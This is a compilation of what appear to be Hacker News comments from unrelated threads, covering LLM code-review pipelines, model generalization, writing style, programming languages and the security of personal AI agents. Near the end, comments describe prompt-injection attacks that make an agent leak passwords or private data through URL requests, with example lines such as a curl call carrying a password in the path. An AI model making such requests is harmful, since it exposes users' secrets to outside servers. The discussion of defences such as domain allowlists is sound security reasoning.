There are always winners and losers in political discussions not every corporation could have control over decision making. But that doesn't mean companies aren't playing a major rool in decisions. I'd imagine companies owned by Larry Ellison (fox and soon cnn) have a much larger role in decision making and agenda setting that most people are comfortable with.
Your comment is of even less value than the article. The fact that you find this subject matter uninteresting, is also uninteresting. Clearly other people feel differently.
I do trust that you earnestly believe in the importance of ethics in AI - but at the same time, I think that may be causing you to assume that the average person cares just as much or similarly.
I've seen the same phenomenon play out in health-tech startup space. The mission is to "do good", but at the end of the day, for most leaders it's just a business and for most employees it's just a job. In fact, usually the ones who care more than that end up burning out and leaving.
> the kind of analysis the program is able to do is past the point where technology looks like magic. I don’t know how you get here from “predict the next word.”
You're implicitly assuming that what you asked the LLM to do is unrepresented in the training data. That assumption is usually faulty - very few of the ideas and concepts we come up with in our everyday lives are truly new.
All that being said, the refine.ink tool certainly has an interesting approach, which I'm not sure I've seen before. They review a single piece of writing, and it takes up to an hour, and it costs $50. They are probably running the LLM very painstakingly and repeatedly over combinations of sections of your text, allowing it to reason about the things you've written in a lot more detail than you get with a plain run of a long-context model (due to the limitations of sparse attention).
It's neat. I wonder about what other kinds of tasks we could improve AI performance at by scaling time and money (which, in the grand scheme, is usually still a bargain compared to a human worker).
I created a code review pipeline at work with a similar tradeoff and we found the cost is worth it. Time is a non-issue.
We could run Claude on our code and call it a day, but we have hundreds of style, safety, etc rules on a very large C++ codebase with intricate behaviour (cooperative multitasking be fun).
So we run dozens of parallel CLI agents that can review the code in excruciating detail. This has completely replaced human code review for anything that isn't functional correctness but is near the same order of magnitude of price. Much better than humans and beats every commercial tool.
"scaling time" on the other hand is useless. You can just divide the problem with subagents until it's time within a few minutes because that also increases quality due to less context/more focus.
Any LLM-based code review tooling I've tried has been lackluster (most comments not too helpful). Prose review is usually better.
> So we run dozens of parallel CLI agents that can review the code in excruciating detail. This has completely replaced human code review for anything that isn't functional correctness but is near the same order of magnitude of price. Much better than humans and beats every commercial tool.
Sure, you could make multiple LLM invocations (different temporature, different prompts, ...). But how does one separate the good comments from the bad comments? Another meta-LLM? [1] Do you know of anyone who summarizes the approach?
[1]: I suppose you could shard that out for as much compute you want to spend, with one LLM invocation judging/collating the results of (say) 10 child reviewers.
I have attempted to replicate the "workflow" LLM process where several LLMs come up with different variations of a way to solve a problem and a "judge" LLM reviews them and the go through different verification processes to see if this workflow increased the accuracy of the LLM's ability to solve the problem. For me, in my experiments, it didn't really make much difference but at the time I was using LLMs significantly dumber than current frontier models. HOWEVER...When I enable "Thinking Mode" on frontier LLM's like ChatGPT it DOES tend to solve problems that the non-thinking mode isn't able to solve so perhaps it's just a matter of throwing enough iterations at it for the LLM to be able to solve a particular complex problem.
You need human alignment on what constitutes a "good" comment. That means consistent rules.
Otherwise, some people feel review is too harsh, other people feel it is not harsh enough. AI does not fix inconsistent expectations.
> But how does one separate the good comments from the bad comments?
If the AI took a valid interpretation of the coding guidelines, it is a legitimate comment. If the AI is being overly pedantic, it is a documentation bug and we change the rules.
Well no, style is important too for humans when they read a codebase, so the LLMs the parent is running clearly have some value for them.
They're not claiming LLMs solved every problem, just that they made life easier by taking care of busywork that humans would otherwise be doing. I think personally this is quite a good use for them - offering suggestions on PRs say, as long as humans still review them as well.
Some examples of complex transformations linters can't catch:
* Function names must start with a verb.
* Use standard algorithms instead of for loops.
* Refactor your code to use IIFEs to make variables constexpr.
The verb one is the best example. Since we work adjacent to hardware, people like creating functions on structs representing register state called "REGISTER_XYZ_FIELD_BIT_1()" and you can't tell if this gets the value of the first field bit or sets something called field bit to 1.
If you rename it to `getRegisterXyzFieldBit1()` or `setRegisterXyzFieldBitTo1()` at least it becomes clear what they're doing.
> You're implicitly assuming that what you asked the LLM to do is unrepresented in the training data. That assumption is usually faulty - very few of the ideas and concepts we come up with in our everyday lives are truly new.
I made a cursed CPU in the game 'Turing Complete'; and had an older version of claude build me an assembler for it?
Good luck finding THAT in the training data. :-P
(just to be sure, I then had it write actual programs in that new assembly language)
But the ideas are not 'new'. A benchmark that I use to tell me if an AI is overfitted is to present the AI with a recent paper (especially one like a paxos variant) and have it build that. If it writes general paxos instead of what the paper specified, its overfitted.
Claude 4.5: not overfitted too much -- does the right thing 6/10 times.
Claude 4.6: overfitted -- does the right thing 2/10 times.
OpenAI 5.3: overfitted -- does the right thing 3/10 times.
These aren't perfect benchmarks, but it lets me know how much babysitting I need to do.
My point being that older Claude models weren't overfitted nearly as much, so I'm confirming what you're saying.
Could also be that the model has stronger priors wrt Paxos (and thus has Opinions on what good Paxos should look like)
At any rate, with an assembler, you end up with a lot of random letter-salad mnemonics with odd use cases, so that is very likely to tokenize in interesting ways at the very least.
>You're implicitly assuming that what you asked the LLM to do is unrepresented in the training data.
This is just as stuck in a moment in time as "they only do next word prediction" What does this even mean anymore? Are we supposed to believe that a review of this paper that wasn't written when that model (It's putatively not an "LLM", but IDK enough about it to be pushy there) was trained? Does that even make sense? We're not in the regime of regurgitating training data (if we really ever were). We need to let go of these frames which were barely true when they took hold. Some new shit is afoot.
Statistical models generalize. If you train a model that f(x) = 5 and f(x+1) = 6, the number 7 doesn't have to exist in the training data for the model to give you a correct answer for f(x+2)
Similarly, if there are millions of academic papers and thousands of peer reviews in the training data, a review of this exact paper doesn't need to be in there for the LLM to write something convincing. (I say "convincing" rather than "correct" since, the author himself admits that he doesn't agree with all the LLM's comments.)
I tend to recommend people learn these things from first principles (e.g. build a small neural network, explore deep learning, build a language model) to gain a better intuition. There's really no "magic" at work here.
I had Claude help me get a program written for Linux to compile on macOS. The program is written in a programming language the author invented for the project, a pretty unusual one (for example, it allows spaces in variable names).
Claude figured out how the language worked and debugged segfaults until the compiler compiled, and then until the program did. That might not be magic, but it shows a level of sophistication where referring to “statistics” is about as meaningful as describing a person as the statistics of electrical impulses between neurons.
But the programming language has explicitly laid out rules. It was not trained on those sets of rules, but it was trained on many trillions of lines of code. It has a map of how programs work, and an explanation of this new language. It's using training data and data it's fed to generate that result.
I don't know how you'd prompt this, but if there was a clean example of an A.I. coming up with an idea that's completely novel in more than details, it would be compelling evidence that these next-token predictors have some weird emergent properties that don't necessarily follow from intricate, sophisticated webs of token-prediction.
E.g. "What might be a room-temperature superconductor" -> "some plausible iteration on existing high-temperature superconductors based on our current understanding of the underlying physics" would not be outside how we currently understand them.
"What might be a room-temperature superconductor?" -> "some completely outlandish material that nobody has studied before and, when examined, seems to have higher temperature superconducting than we would predict" would provoke some serious questions.
A fun experiment I've heard suggested is training a model on all scientific understanding just up to some counterintuitive quantum leap in scientific understanding, say, Einstein's theory of relativity, and then seeing if you can prompt it to "discover" or "invent" said leap, without explicitly telling it what to look for. This would of course be pretty hard to prove, but if you could get it to work on a local model, publish the training set and parameters so that anyone can replicate it on their own machine, that could be pretty darn compelling.
Why would it matter whether or not the robot looks something up if it makes a novel discovery?
Why would it matter that the discovery wasn't just novel but felt like an unconventional one to me, someone who is probably a total outsider to that field?
Both of those feel subjective or at least hard to sustain.
Look. What I'm trying to tell people is that the easy explanations for how these models worked circa GPT-2 is just not cutting it anymore. Neither is setting some subjective and needlessly high bar for...what exactly? What? Do we decide to pay attention to AI after it does all the above? That seems a bit late to the party for cheering on or resisting it.
Some new shit is afoot. Folk need to pay attention, not think they got it figured out already.
Programs are fundamentally lists of instructions. LLMs are very good at building these lists. That it performs well when you say "Build a list you've seen before, but do it in a slightly different way this time. Here's the exact way I want you to do it." is not surprising. I would honestly be surprised if it couldn't do it.
As the other commenter suggested, a genuinely novel scientific idea would be surprising. A new style of art (think Picasso or Pollack coming along), not just an iteration on Ghibli, would be surprising. That's actual creativity.
> If you train a model that f(x) = 5 and f(x+1) = 6, the number 7 doesn't have to exist in the training data for the model to give you a correct answer for f(x+2)
This is an interesting claim to me. Are there any models that exist that have been trained with a (single digit) number omitted from the training data?
If such a model does exist, how does it represent the answer? (What symbol does it use for the '7'?)
When I say "model" here I'm referring to any statistical model (in this example, probably linear regression). Not specifically large language models / neural networks.
Gotcha, I don't think I know enough about it. What constitutes training data for a for a (non neural network) statistical model? Is this something I could play around with myself with pen and paper?
Just the raw numbers? You list the y's and the x's and the model is approximating y=f(x) from the above example. You can totally do it with pen and paper.
This is what it'd look like (for linear regression): https://observablehq.com/@yizhe-ang/interactive-visualizatio...
If you run an LLM in an autoregressive loop you can get it to emulate a turing machine though. That sort of changes the complexity class of the system just a touch. 'Just predicts the next word' hits different when the loop is doing general computation.
Took me a bit of messing around, but try to write out each state sequentially, with a check step between each.
Sorry but this is famously not true! There is no guarantee that statistical models generalise. In your example, whether or not your model generalises depends entirely on what f(x) you use - depending on the complexity of your function class f(x+2) could be 7, 8, or -500.
One of the surprises of deep learning is that it can, sometimes, defy prior statistical learning theory to generalise, but this is still poorly understood. Concepts like grokking, double descent, and the implicit bias of gradient descent are driving a lot of new research into the underlying dynamics of deep learning. But I'd say it is pretty ahistoric to claim that this is obvious or trivial - decades of work studied "overfitting" and related problems where statistical models fail to generalise or even interpolate within the support of their training data.
This might actually be a limitation of the "predict next word" approach since the network is never trained to predict a result in one field from a result in another. It might still make the connection though, but not as easily.
Ok cool cool. Instead of pretending you need to teach me, you could engage with what I'm saying or even the OP!
"I don't know how you get here from "predict the next word"" is not really so much a statement of ignorance where someone needs you to step in but a reflection that perhaps the tech is not so easily explained as that. No magic needs to be present for that to be the case.
If you disagree with someone on the internet, you can just say "I disagree, and here's why". You don't have to aggressively accuse them of "not engaging" with the text.
I engaged. You just don't like what I wrote. That's okay.
“Represented in the training data” does not mean “represented as a whole in the training data”. If A and B are separately in the training data, the model can provide a result when A and B occur in the input because the model has made a connection between A and B in the latent space.
Yes. I’m saying that “it’s just in the training data” is a cognitive containment of these models which is incomplete. You can insist that’s what’s happening, but you’ll be left unable to explain what’s going on beyond truisms.
>"If A and B are separately in the training data, the model can provide a result when A and B occur in the input because the model has made a connection between A and B in the latent space."
This statement (The one I was replying to) is fundamentally unbounded. There's nothing that can't be explained as a combination of "A" and "B" in "training data" because practically speaking we can express anything as such where the combination only needs to be convex along some high-dimensional semantic surface. Add on to that my scare quotes around "training data" because very few people have any practical idea of what is or isn't in there, so we can just make claims strategically. Do we need to explain a success? It was in the training data. A failure, probably not in the training data. Will anyone call us on this transparent farce? Not usually, no.
If a statement can--at will--explain everything and nothing, what's it worth?
It's funny - some months ago I noticed that I use the word "actually" lot, and started trying to curb it from my writing. Not for any AI-related reason, but because it is almost always a meaningless filler word, and I find that being concise helps get my points across more clearly.
e.g. "The body of the template is parsed, but not actually type-checked until the template is used." -> "but not typechecked until the template is used." The word "actually" here has a pleasant academic tone, but adds no meaning.
I try to curb my usage of 'actually' too. Like you I came to think of it as an indirect, fluffy discourse marker that should be replaced with more direct language.
I'm totally fine with the word itself, but not with overuse of it or placing it where it clearly doesn't belong. And I did that a lot, I think. I suspect if you reviewed my HN comments, it's littered with 'actually' a ton. Also "I think...", "I feel like..." and other kind of... Passive, redundant, unnecessary noise.
Like, no kidding I think the thing I'm expressing. Why state that?
Another problem with "actually" is that it can seem condescending or unnecessarily contradictory. While I'm often trying to fluff up prose to soften disagreement (not a great habit), I'm inadvertently making it seem more off-putting than direct yet kind statements would. It can seem to attempt to shift authority to the speaker, if somewhat implicitly. Rather than stating that you disagree along with what you believe or adding information to discourse, you're suggesting that what you're saying somehow deviates from what the person you're speaking to would otherwise believe or expect. That's kind of weird to do, in my opinion. I'm very guilty of it, though I never had the intent of coming across this way.
It can also seem kind of re-directive or evasive at times, like you don't want to get to the point, or you want to avoid the cost of disagreement. It's often used to hedge statements that shouldn't be hedged. This is mainly what led me to realize I should use it less. I hedge just about everything I say rather than simply state it and own it. When you're a hedger and you embed the odd 'actually' in there, you get a weird mix of evasive or contradictory hedging going on. That's poor and indirect communication.
Like, no kidding I think the thing I'm expressing. Why state that?
One reason might be to acknowledge that you're not being prescriptive, but leaving room for a subjective POV in situations that call for it.
Likewise, the GP's use of "actually" acknowledges the contrast between what one might expect (that some preliminary type-checking might happen during initial parsing) and what in fact happens (no type checks occur until the template is used.) It doesn't seem out of line in that case.
Absolutely, I was being overly reductive. Both "I think" and "actually" do serve useful purposes, and I'm being critical of redundant or over-use of them (which I tend to do).
> Like, no kidding I think the thing I'm expressing. Why state that?
I agree but it's not always clear whether you're stating an opinion or attempting to state a fact. Some folks would reply to a comment like this with "citation needed" but wouldn't otherwise have said that if the comment had opened with "I think."
I'm sure we all have our "Baader Meinhof" words - one of mine that I feel like I see everywhere these days is "resonate", as in, "This post really resonated with me."
My understanding from a brief read of the Swift issue is that they kept running into bugs in the Swift compiler which, in practice, prevented them from doing the things that they ought to be do in theory. This went on for long enough, that they got fed up and abandoned Swift.
The Rust compiler is incredibly solid (across all target platforms), and while it's C/C++ interop is relatively simplistic, what does exist is extensively battle tested in production codebases.
The difference there would be that they would be guilty of theft, and you would likely have proof that they committed this crime and know their personal identity, so they would become a fugitive.
By contrast with a claw, it's really you who performed the action and authorized it. The fact that it happened via claw is not particularly different from it happening via phone or via web browser. It's still you doing it. And so it's not really the bank's problem that you bought an expensive diamond necklace and had it shipped to Russia, and now regret doing so.
Imagine the alternative, where anyone who pays for something with a claw can demand their money back by claiming that their claw was tricked. No, sir, you were tricked.
The mere act of browsing the web is "write permissions". If I visit example.com/<my password>, I've now written my password into the web server logs of that site. So the only remaining question is whether I can be tricked/coerced into doing so.
I do tend to think this risk is somewhat mitigated if you have a whitelist of allowed domains that the claw can make HTTP requests to. But I haven't seen many people doing this.
I'm using something that pops up an OAuth window in the browser as needed. I think the general idea is that secrets are handled at the local harness level.
From my limited understanding it seems like writing a little MCP server that defines domains and abilities might work as an additive filter.
Many consumer websites intended for humans do let you create limited-privilege accounts that require approval from a master account for sensitive operations, but these are usually accounts for services that target families and the limited-privilege accounts are intended for children.
No. I was trying to explain that providing web access shouldn't be tantamount to handing over the keys. You should be able to use sites and apps through a limited service account, but this requires them to be built with agents and authorization in mind. REST APIs often exist but are usually written with developers in mind. If agents are going to go maintstream, these APIs need to be more user friendly.
That's not what the parent comment was saying. They are pointing out that you can exfiltrate secret information by querying any web page with that secret information in the path. `curl www.google.com/my-bank-password`. Now, google logs have my bank password in them.
The thought that occurs to me is, the action here that actually needs gating is maybe not the web browsing: it's accessing credentials. That should be relatively easy to gate off behind human approval!
I'd also point out this a place where 2FA/MFA might be super helpful. Your phone or whatever is already going to alert you. There's a little bit of a challenge in being confident your bot isn't being tricked, in ascertaining even if the bot tells you that it really is safe to approve. But it's still a deliberation layer to go through. Our valuable things do often have these additional layers of defense to go through that would require somewhat more advanced systems to bot through, that I don't think are common at all.
Overall I think the will here to reject & deny, the fear uncertainty and doubt is both valid and true, but that people are trying way way way too hard, and it saddens me to see such a strong manifestation of fear. I realize the techies know enough to be horrified strongly by it all, but also, I really want us to be an excited forward looking group, that is interested in tackling challenges, rather than being interested only in critiques & teardowns. This feels like an incredible adventure & I wish to en Courage everyone.
You do need to gate the web browsing. 2FA and/or credential storage helps with passwords, but it doesn't help with other private information. If the claw is currently, or was recently, working with any files on your computer or any of your personal online accounts, then the contents of those files/webpages are in the model context. So a simple HTTP request to example.com/<base64(personal info)> presents the exact same risk.
You can take whatever risks you feel are acceptable for your personal usage - probably nobody cares enough to target an effective prompt-injection attack against you. But corporations? I would bet a large sum of money that within the next few years we will be hearing multiple stories about data breaches caused by this exact vulnerability, due to employees being lazy about limiting the claw's ability to browse the web.
Do you have details of specific realistic attacks that were possible under MV2 and now impossible under MV3?
reply